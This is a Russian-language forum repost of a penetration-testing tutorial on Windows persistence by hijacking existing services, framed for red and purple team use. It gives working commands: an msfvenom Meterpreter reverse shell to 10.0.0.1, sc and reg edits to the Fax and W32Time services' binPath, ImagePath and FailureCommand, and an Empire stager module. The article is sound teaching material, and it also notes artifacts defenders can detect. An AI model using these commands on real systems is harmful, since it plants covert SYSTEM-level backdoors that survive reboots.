ОБСУЖДЕНИЕ Гостевая статья 

Persistence – Modify Existing Service

0 ответов 2,1 тыс.
AI-выжимка обсуждения скоро

Краткие тезисы обсуждения со ссылками на ключевые ответы появятся здесь.

Автор темы
Группы APT нередко модифицируют существующую службу на скомпрометированном хосте, чтобы выполнить произвольную полезную нагрузку, когда служба запускается или уничтожается в качестве метода постоянства. Это позволяет им скрывать свои вредоносные программы в месте, которое будет выполняться в контексте службы. Модификация существующих сервисов требует привилегий уровня администратора или системы и обычно не используется красными командами в качестве метода сохранения. Тем не менее, во время оценки «фиолетовой команды» в средах, которые менее зрелы в своих средствах управления обнаружением, полезно применять эту технику в качестве отправной точки. Злоумышленник может манипулировать тремя местами для выполнения некоторой формы полезной нагрузки:

  1. binPath
  2. ImagePath
  3. FailureCommand
binPath
« BinPath » - это местоположение, которое указывает сервис на двоичный файл, который должен выполняться при запуске сервиса. Metasploit Framework может быть использован для генерации произвольного исполняемого файла.

Код:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=9999 -f exe > pentestlab.exe

persistence-modifying-existing-service-msfvenom-executable.png

Metasploit - Создать исполняемый файл

Сгенерированный файл должен быть перенесен на диск, который создает криминалистический артефакт. Утилита командной строки « sc » может управлять службой и выполнять такие действия, как запуск, остановка, пауза, изменение двоичного пути и т. Д. Служба факсов по умолчанию не используется в установках Windows 10 и поэтому является хорошим кандидатом для изменения двоичного файла. путь, поскольку он не будет прерывать нормальные пользовательские операции.

Код:
sc config Fax binPath= "C:\windows\system32\pentestlab.exe"
sc start Fax

persistence-modifying-existing-service-binpath.png

Изменить существующий сервис - binPath

Когда служба запустится в системе, будет выполнена полезная нагрузка и откроется сеанс.

persistence-modifying-existing-service-binpath-meterpreter.png

Изменить существующую службу - binPath Meterpreter

Служба может быть изменена для автоматического запуска при запуске Windows и с привилегиями уровня SYSTEM для сохранения при перезагрузках.

Код:
sc config Fax binPath= "C:\Windows\System32\pentestlab.exe" start="auto" obj="LocalSystem"

persistence-modifying-existing-service-binpath-autostart.png

Изменить существующую службу - запускать автоматически

ImagePath
Информация о каждом сервисе в системе хранится в реестре. Раздел реестра « ImagePath » обычно содержит путь к файлу образа драйвера. В результате перехвата этого ключа с произвольным исполняемым файлом будет получена полезная нагрузка, запускаемая во время запуска службы.

Код:
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time" /v ImagePath /t REG_SZ /d "C:\tmp\pentestlab.exe"

persistence-modifying-existing-service-imagepath.png

Изменить существующий сервис - ImagePath

persistence-modifying-existing-service-imagepath-meterpreter.png

Изменить существующий сервис - ImagePath Meterpreter

FailureCommand
Windows предоставляет функциональные возможности для выполнения определенных действий, когда служба не запускается или процесс переписки прекращается. В частности, команда может быть выполнена, когда служба убита. Раздел реестра, который управляет этим действием, является « FailureCommand », и его значение будет определять, что будет выполнено.

Код:
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time" /v FailureCommand /t REG_SZ /d "C:\tmp\pentestlab.exe"

persistence-modifying-existing-service-failurecommand.png

Изменить существующий сервис - FailureCommand

Выполнение вышеуказанной команды изменит раздел реестра на вредоносный исполняемый файл, который будет запускаться после завершения процесса.

persistence-modifying-existing-service-failurecommand-registry.png

Изменить существующую службу - раздел реестра FailureCommand

В качестве альтернативы то же действие можно выполнить с помощью утилиты « sc » и путем указания опции « fail ».

Код:
sc failure Fax command= "\"c:\Windows\system32\pentestlab.exe\""

persistence-modifying-existing-service-failure-state.png

Изменить существующую службу - параметр сбоя

Параметр « Запустить программу » на вкладке «Восстановление» службы заполняется произвольной полезной нагрузкой. Следует отметить, что параметр « Первый сбой » должен быть установлен на « Запуск программы », а другие параметры - « Не предпринимать никаких действий ».

persistence-modifying-existing-service-recovery-action.png

Изменить существующую службу - Действие восстановления

Когда связанный процесс завершен, полезная нагрузка будет выполнена с теми же привилегиями, что и служба, и откроется сеанс Meterpreter.

persistence-modifying-existing-service-failure-state-meterpreter.png

Модифицируйте существующую службу - Failure State Meterpreter

При запуске службы « Факс » запускается процесс « svchost » (PID 2624). Поскольку этот процесс играет роль триггера, завершающего процесс, он создаст новый произвольный процесс, который может быть легко обнаружен синей командой.

persistence-modifying-existing-service-kill-service-process-explorer.png

Изменить существующий сервис - уничтожить процесс

Empire

Empire также может выполнять модификации сервисов как часть их модуля повышения привилегий. Однако, если Empire используется как C2 в кампании, и агент работает с повышенными привилегиями (Administrator, SYSTEM), то следующий модуль можно использовать для изменения существующей службы, которая будет запускать модуль запуска.

Код:
usemodule privesc/powerup/service_stager

persistence-modifying-existing-service-empire.png

Изменить существующий сервис - Empire

Ссылки
Источник:Persistence – Modify Existing Service
 

Ещё по теме